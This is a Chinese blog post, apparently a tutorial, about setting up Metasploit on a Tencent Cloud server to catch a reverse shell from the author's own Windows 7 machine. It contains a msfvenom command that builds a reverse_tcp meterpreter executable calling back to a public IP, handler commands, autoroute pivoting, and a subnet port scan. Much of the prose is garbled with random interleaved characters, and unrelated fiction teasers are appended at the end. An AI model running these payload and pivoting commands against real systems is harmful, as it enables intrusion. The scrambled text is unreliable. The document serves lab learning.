在騰訊云上搭建msf測試環(huán)境

前言

1個月前學(xué)習(xí)msf時陈莽,考慮到只在內(nèi)網(wǎng)測試沒什么意思底挫,于是我在騰訊云上租了個云服務(wù)器汗捡。騰訊云網(wǎng)絡(luò)架構(gòu)是由公網(wǎng)網(wǎng)卡和內(nèi)網(wǎng)網(wǎng)卡組成淑际,不過在云主機中使用ipconfig/ifconfig查看網(wǎng)絡(luò)接口信息時,只能看到內(nèi)網(wǎng)IP的信息扇住。?

首次搭建時春缕,我選擇了server2008鏡像,并在上面安裝了集成msf的pentestbox艘蹋。不幸的是锄贼,一切配置完成后,我在本地win7上運行msfvenom生成的exe文件簿训,云服務(wù)器上的msf并沒有獲得win7的shell咱娶。一開始我猜測是pentestbox的問題,于是把云服務(wù)器重裝成了Ubuntu系統(tǒng)强品。但是很遺憾膘侮,這次msf同樣沒有接收到本地win7反彈的shell。我開始懷疑是云服務(wù)器的外網(wǎng)--內(nèi)網(wǎng)映射的問題的榛,通過搜索得到了如下幾種答案:

? ? ?①公網(wǎng)ip很貴的琼了,騰訊云使用的是公共公網(wǎng)ip。

? ? ?②購買帶寬才會分配給你的云服務(wù)器公網(wǎng)IP地址夫晌。

? ? ?③云服務(wù)器雖然是內(nèi)網(wǎng)IP雕薪,但是全部NAT到了公網(wǎng),不需要手動做端口映射晓淀。

? ? ? ......

折騰了一陣子所袁,仍然沒有解決問題,最后我放棄了掙扎凶掰。燥爷。1個月后的今天,我突然想到這個事情懦窘,便登錄云服務(wù)器看了看前翎。這次我切換成root用戶運行msf,神奇的是畅涂,竟然測試成功了8刍!我也懶得糾結(jié)是什么原因了午衰,以下是正文......


1.登錄到Ubuntu系統(tǒng)后立宜,首先切換成root用戶

2.安裝metasploit

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall

chmod 755 msfinstall

./msfinstall

3.安裝postgresql數(shù)據(jù)庫

安裝數(shù)據(jù)庫時會自動創(chuàng)建系統(tǒng)用戶postgres冒萄、數(shù)據(jù)庫用戶postgres、數(shù)據(jù)庫postgres

apt-get install postgresql ? 安裝postgresql數(shù)據(jù)庫

su postgres ? 切換到postgres用戶

psql ? 登錄postgresql數(shù)據(jù)庫赘理,首次登錄沒有密碼

\password postgres ? 修改數(shù)據(jù)庫用戶postgres的密碼

4.metasploit的使用

msfvenom -p windows/meterpreter/reverse_tcp LHOST=118.89.216.104 LPORT=888 -f exe -o end.exe ?這次LHOST是公網(wǎng)IP

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set LHOST 10.141.103.129 ?這里L(fēng)HOST是內(nèi)網(wǎng)IP

set LPORT 888

exploit

5.在本地win7上運行end.exe宦言,云服務(wù)器上的msf會獲得shell


添加到win7子網(wǎng)的路由表

run get_local_subnets ?查看win7的本地子網(wǎng)

run autoroute -s 192.168.80.0/24 ?添加路由表

run autoroute -p ?查看路由表


掃描win7所在的本地子網(wǎng)

use auxiliary/scanner/portscan/tcp

set rhosts 192.168.80.0/24

set ports 139,445

exploit

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市商模,隨后出現(xiàn)的幾起案子奠旺,更是在濱河造成了極大的恐慌,老刑警劉巖施流,帶你破解...
    沈念sama閱讀 223,002評論 6 519
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件响疚,死亡現(xiàn)場離奇詭異,居然都是意外死亡瞪醋,警方通過查閱死者的電腦和手機忿晕,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 95,357評論 3 400
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來银受,“玉大人践盼,你說我怎么就攤上這事”鑫。” “怎么了咕幻?”我有些...
    開封第一講書人閱讀 169,787評論 0 365
  • 文/不壞的土叔 我叫張陵,是天一觀的道長顶霞。 經(jīng)常有香客問我肄程,道長,這世上最難降的妖魔是什么选浑? 我笑而不...
    開封第一講書人閱讀 60,237評論 1 300
  • 正文 為了忘掉前任蓝厌,我火速辦了婚禮,結(jié)果婚禮上古徒,老公的妹妹穿的比我還像新娘拓提。我一直安慰自己,他們只是感情好隧膘,可當我...
    茶點故事閱讀 69,237評論 6 398
  • 文/花漫 我一把揭開白布崎苗。 她就那樣靜靜地躺著,像睡著了一般舀寓。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上肌蜻,一...
    開封第一講書人閱讀 52,821評論 1 314
  • 那天互墓,我揣著相機與錄音,去河邊找鬼蒋搜。 笑死篡撵,一個胖子當著我的面吹牛判莉,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播育谬,決...
    沈念sama閱讀 41,236評論 3 424
  • 文/蒼蘭香墨 我猛地睜開眼券盅,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了膛檀?” 一聲冷哼從身側(cè)響起锰镀,我...
    開封第一講書人閱讀 40,196評論 0 277
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎咖刃,沒想到半個月后泳炉,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 46,716評論 1 320
  • 正文 獨居荒郊野嶺守林人離奇死亡嚎杨,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 38,794評論 3 343
  • 正文 我和宋清朗相戀三年花鹅,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片枫浙。...
    茶點故事閱讀 40,928評論 1 353
  • 序言:一個原本活蹦亂跳的男人離奇死亡刨肃,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出箩帚,到底是詐尸還是另有隱情真友,我是刑警寧澤,帶...
    沈念sama閱讀 36,583評論 5 351
  • 正文 年R本政府宣布膏潮,位于F島的核電站锻狗,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏焕参。R本人自食惡果不足惜轻纪,卻給世界環(huán)境...
    茶點故事閱讀 42,264評論 3 336
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望叠纷。 院中可真熱鬧刻帚,春花似錦、人聲如沸涩嚣。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,755評論 0 25
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽航厚。三九已至顷歌,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間幔睬,已是汗流浹背眯漩。 一陣腳步聲響...
    開封第一講書人閱讀 33,869評論 1 274
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人赦抖。 一個月前我還...
    沈念sama閱讀 49,378評論 3 379
  • 正文 我出身青樓舱卡,卻偏偏與公主長得像,于是被迫代替她去往敵國和親队萤。 傳聞我的和親對象是個殘疾皇子轮锥,可洞房花燭夜當晚...
    茶點故事閱讀 45,937評論 2 361

推薦閱讀更多精彩內(nèi)容